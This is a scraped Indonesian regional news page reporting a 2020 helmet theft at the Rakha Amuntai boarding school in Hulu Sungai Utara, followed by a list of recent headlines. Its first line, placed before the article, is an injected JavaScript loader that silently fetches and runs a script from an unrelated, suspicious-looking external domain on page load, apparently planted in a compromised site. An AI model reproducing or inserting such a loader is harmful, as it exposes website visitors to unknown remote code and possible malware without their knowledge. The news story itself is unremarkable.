(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Kepergok, Maling Helm di Ponpes Rakha Amuntai Nyaris Babak Belur


KANALKALIMANTAN.COM, AMUNTAI– Aksi MN (27) mencuri helm yang di lingkungan Pondok Pesantren Rakha Amuntai, Kabupaten Hulu Sungai Utara pada pukul 11.00 wita, Selasa (4/2/2020) berhasil digagalkan sejumlah santri.

Tertangkapnya, pelaku pencuri helm di lingkungan Ponpes Rakha Amuntai, ini tak ayal membuat sebagian santri geram. Pelaku pun diamnakan pos keamanan pondok.

Kepala Polsek Amuntai Utara, Ipda Warsono, kepada kanalkalimantan.com, Rabu (5/2/2020)mengakui pihaknya telah mengamankan pelaku MN (27) yang merupakan warga Desa Tabalong Mati RT 2, Kecamatan Amuntai Utara, setelah memperoleh laporan dari pihak sekolah.

Informasinya, kejadian ini berawal ketika pelaku masuk halaman Ponpes STAI RAKHA Amuntai memakai kendaraan jenis Yamaha MX warna merah dan parkir di samping kendaraan korban. Ketika itu, pada motor di sebelahnya tergantung sebuah helm merek NHK hitam.

Sebelum menggasak helm tersebut, pelaku MN terlebih dahulu berpura-pura ngobrol dengan warga sekitar untuk mengelabuhi aksinya.

Pelaku lantas duduk di sepeda motor milik korban seraya beraksi menelepon seseorang. Setelah dirasa aman dan tidak ada orang yang melihat, pelaku mengambil helm dari kendaraan milik Muhammad Irfan (17) tersebut.
Namun belum sempat membawa kabur barang curiannya, salah seorang santri keburu memergoki.

“Bergegas memutar kendaraannya untuk pergi. Namun belum sempat pelaku pergi, ada yang melihat dan langsung meneriaki maling,” terang IPDA Warsono.

Mendengar teriakan itu, secara spontan para santri Ponpes STAI Amuntai mengejar si pelaku dan mengamankannya.

Kepada polisi, pelaku mengaku sudah lima kali melakukan aksi yang serupa dengan mulus, namun nahas dalam aksinya kali ini berakhirlah ditahanan Mapolsek.

“Menurut pengakuannya 5 kali sudah dan helmnya dijual.” Pungkas Kapolsek Amuntai Utara

Pelaku beserta barang bukti diamankan ke Mapolsek Amuntai Utara guna proses lebih lanjut dengan sangkaan Pidana Pencurian Pasal 362 – 367 KUHP (kanalkalimantan.com/dew)

 

 

Reporter : Dew
Editor : Cell

 


Desy Arfianty

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

5 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

19 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

21 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.